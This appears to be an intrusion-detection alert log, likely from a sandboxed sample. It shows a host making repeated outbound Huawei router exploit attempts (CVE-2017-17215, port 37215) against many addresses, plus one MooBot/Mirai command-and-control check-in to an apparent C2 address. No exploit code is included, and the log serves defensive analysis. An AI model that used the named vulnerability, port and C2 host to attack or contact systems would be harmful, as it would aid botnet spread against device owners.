2024-08-06T08:33:20.950266+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37954	37215	192.168.2.14	156.71.180.32
2024-08-06T08:33:19.217842+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47072	37215	192.168.2.14	41.38.168.255
2024-08-06T08:33:12.341017+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37548	37215	192.168.2.14	197.231.194.1
2024-08-06T08:33:19.657584+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45156	37215	192.168.2.14	156.168.2.129
2024-08-06T08:33:20.930119+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59282	37215	192.168.2.14	156.158.235.129
2024-08-06T08:33:19.249952+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35946	37215	192.168.2.14	156.204.167.229
2024-08-06T08:33:19.316042+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58022	37215	192.168.2.14	197.203.159.212
2024-08-06T08:33:17.822140+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49606	37215	192.168.2.14	41.64.28.236
2024-08-06T08:33:19.249440+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33700	37215	192.168.2.14	156.129.31.110
2024-08-06T08:33:19.642209+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35300	37215	192.168.2.14	197.146.41.152
2024-08-06T08:33:20.930121+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57836	37215	192.168.2.14	156.165.122.232
2024-08-06T08:33:19.216565+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46592	37215	192.168.2.14	41.170.201.4
2024-08-06T08:33:19.314588+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33008	37215	192.168.2.14	156.91.153.27
2024-08-06T08:33:19.313053+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49632	37215	192.168.2.14	41.99.246.34
2024-08-06T08:33:19.295336+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50936	37215	192.168.2.14	41.2.95.20
2024-08-06T08:33:20.942075+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58436	37215	192.168.2.14	41.139.77.64
2024-08-06T08:33:19.291226+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39570	37215	192.168.2.14	197.127.41.121
2024-08-06T08:33:19.642512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55596	37215	192.168.2.14	197.243.175.21
2024-08-06T08:33:19.609040+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56116	37215	192.168.2.14	41.169.1.160
2024-08-06T08:33:17.822139+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47232	37215	192.168.2.14	156.72.40.117
2024-08-06T08:33:19.288492+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39140	37215	192.168.2.14	41.136.242.8
2024-08-06T08:33:20.930035+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55036	37215	192.168.2.14	156.8.19.175
2024-08-06T08:33:19.283679+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34584	37215	192.168.2.14	197.241.182.112
2024-08-06T08:33:19.347633+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47466	37215	192.168.2.14	156.241.3.212
2024-08-06T08:33:19.589185+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33972	37215	192.168.2.14	156.84.121.52
2024-08-06T08:33:20.934040+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51706	37215	192.168.2.14	197.37.174.203
2024-08-06T08:33:19.199572+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41816	37215	192.168.2.14	41.229.93.116
2024-08-06T08:33:19.234154+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47248	37215	192.168.2.14	197.115.196.137
2024-08-06T08:33:19.639094+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60692	37215	192.168.2.14	197.39.213.224
2024-08-06T08:33:19.300714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41964	37215	192.168.2.14	41.225.39.66
2024-08-06T08:33:19.269622+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40102	37215	192.168.2.14	156.55.85.117
2024-08-06T08:33:20.938138+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57702	37215	192.168.2.14	41.171.173.66
2024-08-06T08:33:20.946090+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44448	37215	192.168.2.14	197.224.79.29
2024-08-06T08:33:19.605973+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48158	37215	192.168.2.14	41.124.13.62
2024-08-06T08:33:19.604863+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33256	37215	192.168.2.14	41.240.222.87
2024-08-06T08:33:19.608617+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54338	37215	192.168.2.14	41.158.14.71
2024-08-06T08:33:19.293147+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54950	37215	192.168.2.14	156.214.108.255
2024-08-06T08:33:19.271465+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40940	37215	192.168.2.14	156.91.72.96
2024-08-06T08:33:19.638549+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48114	37215	192.168.2.14	156.99.69.120
2024-08-06T08:33:23.312565+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37034	37215	192.168.2.14	41.6.14.178
2024-08-06T08:33:19.270655+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43796	37215	192.168.2.14	156.163.154.143
2024-08-06T08:33:20.930070+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54736	37215	192.168.2.14	156.71.182.203
2024-08-06T08:33:19.267489+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55516	37215	192.168.2.14	156.224.207.229
2024-08-06T08:33:19.657545+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49538	37215	192.168.2.14	156.55.98.88
2024-08-06T08:33:19.270911+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46118	37215	192.168.2.14	41.179.116.217
2024-08-06T08:33:20.946038+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57686	37215	192.168.2.14	41.19.40.159
2024-08-06T08:33:20.942158+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42228	37215	192.168.2.14	41.10.128.28
2024-08-06T08:33:20.942030+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60194	37215	192.168.2.14	156.18.34.141
2024-08-06T08:33:19.285720+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35148	37215	192.168.2.14	197.193.18.117
2024-08-06T08:33:00.616619+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50446	37215	192.168.2.14	197.130.113.46
2024-08-06T08:33:19.250241+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38640	37215	192.168.2.14	41.138.87.130
2024-08-06T08:33:20.950015+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37050	37215	192.168.2.14	197.154.12.195
2024-08-06T08:33:20.942160+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47284	37215	192.168.2.14	197.26.95.225
2024-08-06T08:33:19.216941+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47280	37215	192.168.2.14	41.2.112.41
2024-08-06T08:33:20.926145+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39838	37215	192.168.2.14	197.110.167.198
2024-08-06T08:33:19.217752+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45960	37215	192.168.2.14	197.28.1.133
2024-08-06T08:33:19.652886+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53406	37215	192.168.2.14	41.25.197.239
2024-08-06T08:33:19.301133+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39130	37215	192.168.2.14	41.191.113.153
2024-08-06T08:33:20.942159+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53372	37215	192.168.2.14	156.188.200.156
2024-08-06T08:33:20.942031+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54246	37215	192.168.2.14	156.164.26.50
2024-08-06T08:33:19.627355+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42420	37215	192.168.2.14	41.81.28.179
2024-08-06T08:33:19.606739+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53460	37215	192.168.2.14	156.229.253.94
2024-08-06T08:33:19.626076+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45084	37215	192.168.2.14	156.120.203.129
2024-08-06T08:33:00.098081+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44474	37215	192.168.2.14	156.195.255.108
2024-08-06T08:33:19.293449+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38774	37215	192.168.2.14	41.205.118.26
2024-08-06T08:33:20.946041+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42698	37215	192.168.2.14	197.176.189.202
2024-08-06T08:33:20.938100+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49082	37215	192.168.2.14	197.198.32.93
2024-08-06T08:33:19.229835+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48504	37215	192.168.2.14	197.241.32.4
2024-08-06T08:33:20.938185+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53022	37215	192.168.2.14	41.75.84.190
2024-08-06T08:33:03.495260+0200	TCP	2030490	ET MALWARE ELF/MooBot Mirai DDoS Variant CnC Checkin M1 (Group String Len 1)	36716	56999	192.168.2.14	154.216.17.9
2024-08-06T08:33:19.297548+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51906	37215	192.168.2.14	156.215.168.4
2024-08-06T08:33:19.268260+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58436	37215	192.168.2.14	197.197.24.70
2024-08-06T08:33:20.930073+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39872	37215	192.168.2.14	41.179.109.153
2024-08-06T08:33:20.938142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34476	37215	192.168.2.14	41.153.41.46
2024-08-06T08:33:20.946083+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51084	37215	192.168.2.14	197.104.24.211
2024-08-06T08:33:19.606738+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42356	37215	192.168.2.14	197.3.222.193
2024-08-06T08:33:19.267449+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47500	37215	192.168.2.14	41.150.227.160
2024-08-06T08:33:20.938099+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54982	37215	192.168.2.14	41.252.235.45
2024-08-06T08:33:19.314582+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41740	37215	192.168.2.14	156.138.84.192
2024-08-06T08:33:19.288412+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47480	37215	192.168.2.14	41.113.66.102
2024-08-06T08:33:19.271463+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54036	37215	192.168.2.14	41.34.50.198
2024-08-06T08:33:19.620613+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34696	37215	192.168.2.14	197.239.85.60
2024-08-06T08:33:20.930032+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40060	37215	192.168.2.14	41.36.174.190
2024-08-06T08:33:19.657543+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59742	37215	192.168.2.14	41.243.106.194
2024-08-06T08:33:19.543593+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40174	37215	192.168.2.14	156.115.169.96
2024-08-06T08:33:23.599761+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41010	37215	192.168.2.14	41.128.65.224
2024-08-06T08:33:20.938101+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45250	37215	192.168.2.14	41.79.20.124
2024-08-06T08:33:19.268047+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59090	37215	192.168.2.14	41.244.209.174
2024-08-06T08:33:20.930117+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52004	37215	192.168.2.14	197.246.72.24
2024-08-06T08:33:19.218096+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56898	37215	192.168.2.14	41.247.44.228
2024-08-06T08:33:19.285296+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44628	37215	192.168.2.14	41.15.163.226
2024-08-06T08:33:20.926105+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45176	37215	192.168.2.14	41.217.178.14
2024-08-06T08:33:19.642729+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57380	37215	192.168.2.14	156.68.100.122
2024-08-06T08:33:19.329526+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44336	37215	192.168.2.14	156.216.133.161
2024-08-06T08:33:19.621082+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54012	37215	192.168.2.14	197.49.113.26
2024-08-06T08:33:20.930074+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34922	37215	192.168.2.14	197.132.38.7
2024-08-06T08:33:19.248066+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44858	37215	192.168.2.14	156.61.31.26
2024-08-06T08:33:19.316590+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43292	37215	192.168.2.14	41.33.222.0
2024-08-06T08:33:20.942114+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36376	37215	192.168.2.14	197.243.224.235
2024-08-06T08:33:19.623944+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39546	37215	192.168.2.14	156.71.179.176
2024-08-06T08:33:19.610366+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37384	37215	192.168.2.14	41.113.154.68
2024-08-06T08:33:19.265714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37024	37215	192.168.2.14	41.241.47.76
2024-08-06T08:33:19.623077+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57988	37215	192.168.2.14	156.109.160.83
2024-08-06T08:33:19.236848+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46520	37215	192.168.2.14	41.138.212.138
2024-08-06T08:33:20.938081+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37280	37215	192.168.2.14	156.95.9.253
2024-08-06T08:33:19.589989+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55068	37215	192.168.2.14	41.189.168.243
2024-08-06T08:33:19.609346+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44448	37215	192.168.2.14	41.175.71.81
2024-08-06T08:33:19.624014+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44004	37215	192.168.2.14	156.90.142.34
2024-08-06T08:33:19.283837+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35352	37215	192.168.2.14	156.197.209.77
2024-08-06T08:33:19.291512+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39700	37215	192.168.2.14	156.107.107.14
2024-08-06T08:33:19.232711+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46642	37215	192.168.2.14	156.137.142.77
2024-08-06T08:33:20.934030+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60610	37215	192.168.2.14	41.116.12.177
2024-08-06T08:33:19.623673+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33886	37215	192.168.2.14	156.111.178.221
2024-08-06T08:33:20.950147+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57210	37215	192.168.2.14	197.160.125.76
2024-08-06T08:33:19.621712+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59960	37215	192.168.2.14	41.64.162.163
2024-08-06T08:33:20.942046+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42214	37215	192.168.2.14	41.100.181.150
2024-08-06T08:33:20.938168+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57982	37215	192.168.2.14	156.109.171.125
2024-08-06T08:33:19.607087+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54652	37215	192.168.2.14	197.129.93.172
2024-08-06T08:33:20.930024+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49612	37215	192.168.2.14	41.44.33.222
2024-08-06T08:33:19.233863+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59224	37215	192.168.2.14	156.233.189.37
2024-08-06T08:33:19.214464+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58932	37215	192.168.2.14	197.42.1.152
2024-08-06T08:33:19.265798+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55082	37215	192.168.2.14	197.129.188.53
2024-08-06T08:33:19.268445+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45600	37215	192.168.2.14	197.204.204.27
2024-08-06T08:33:17.818142+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44812	37215	192.168.2.14	156.58.62.79
2024-08-06T08:33:19.285160+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60240	37215	192.168.2.14	41.67.110.230
2024-08-06T08:33:19.283793+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	32984	37215	192.168.2.14	197.198.169.113
2024-08-06T08:33:19.639748+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48510	37215	192.168.2.14	197.24.106.202
2024-08-06T08:33:19.248742+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46216	37215	192.168.2.14	156.203.201.64
2024-08-06T08:33:19.282683+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34774	37215	192.168.2.14	156.124.36.83
2024-08-06T08:33:20.942048+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35914	37215	192.168.2.14	41.3.157.176
2024-08-06T08:33:19.297567+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50696	37215	192.168.2.14	197.201.238.246
2024-08-06T08:33:17.822193+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55094	37215	192.168.2.14	156.115.81.143
2024-08-06T08:33:19.284520+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37162	37215	192.168.2.14	41.102.17.195
2024-08-06T08:33:19.236292+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57494	37215	192.168.2.14	197.132.154.218
2024-08-06T08:33:19.293815+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44520	37215	192.168.2.14	41.60.167.28
2024-08-06T08:33:19.269721+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48180	37215	192.168.2.14	156.28.212.86
2024-08-06T08:33:19.282982+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36364	37215	192.168.2.14	197.22.69.25
2024-08-06T08:33:20.938167+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50210	37215	192.168.2.14	41.57.196.113
2024-08-06T08:33:19.231135+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55190	37215	192.168.2.14	156.63.7.9
2024-08-06T08:33:19.625423+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46206	37215	192.168.2.14	41.241.249.10
2024-08-06T08:33:20.934031+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45802	37215	192.168.2.14	197.141.132.51
2024-08-06T08:33:19.310146+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39934	37215	192.168.2.14	197.253.137.119
2024-08-06T08:32:58.473001+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36186	37215	192.168.2.14	156.224.13.65
2024-08-06T08:33:19.268788+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45626	37215	192.168.2.14	156.90.27.13
2024-08-06T08:33:19.287501+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56378	37215	192.168.2.14	41.242.140.238
2024-08-06T08:33:19.626703+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45940	37215	192.168.2.14	197.153.83.250
2024-08-06T08:33:19.292622+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39070	37215	192.168.2.14	156.5.53.84
2024-08-06T08:33:20.942044+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33260	37215	192.168.2.14	41.255.0.150
2024-08-06T08:33:19.315046+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56460	37215	192.168.2.14	41.81.241.106
2024-08-06T08:33:19.291343+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53066	37215	192.168.2.14	41.164.18.227
2024-08-06T08:33:19.292026+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47502	37215	192.168.2.14	41.45.249.113
2024-08-06T08:33:19.292537+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43022	37215	192.168.2.14	41.238.196.59
2024-08-06T08:33:19.289803+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48874	37215	192.168.2.14	197.183.103.104
2024-08-06T08:33:19.626405+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51184	37215	192.168.2.14	156.12.183.66
2024-08-06T08:33:20.950230+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51782	37215	192.168.2.14	156.133.139.179
2024-08-06T08:33:20.934027+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	43992	37215	192.168.2.14	41.63.110.21
2024-08-06T08:33:19.636809+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39764	37215	192.168.2.14	156.120.149.131
2024-08-06T08:33:20.942086+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48384	37215	192.168.2.14	41.1.147.159
2024-08-06T08:33:21.324355+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49936	37215	192.168.2.14	156.121.172.210
2024-08-06T08:33:20.926099+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47158	37215	192.168.2.14	156.199.238.198
2024-08-06T08:33:19.653055+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48732	37215	192.168.2.14	197.135.201.145
2024-08-06T08:33:19.217279+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35798	37215	192.168.2.14	197.59.82.212
2024-08-06T08:33:20.930112+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41426	37215	192.168.2.14	156.250.126.131
2024-08-06T08:33:19.298718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60052	37215	192.168.2.14	156.35.207.34
2024-08-06T08:33:19.284138+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52938	37215	192.168.2.14	197.91.152.70
2024-08-06T08:33:19.349118+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51952	37215	192.168.2.14	41.146.250.201
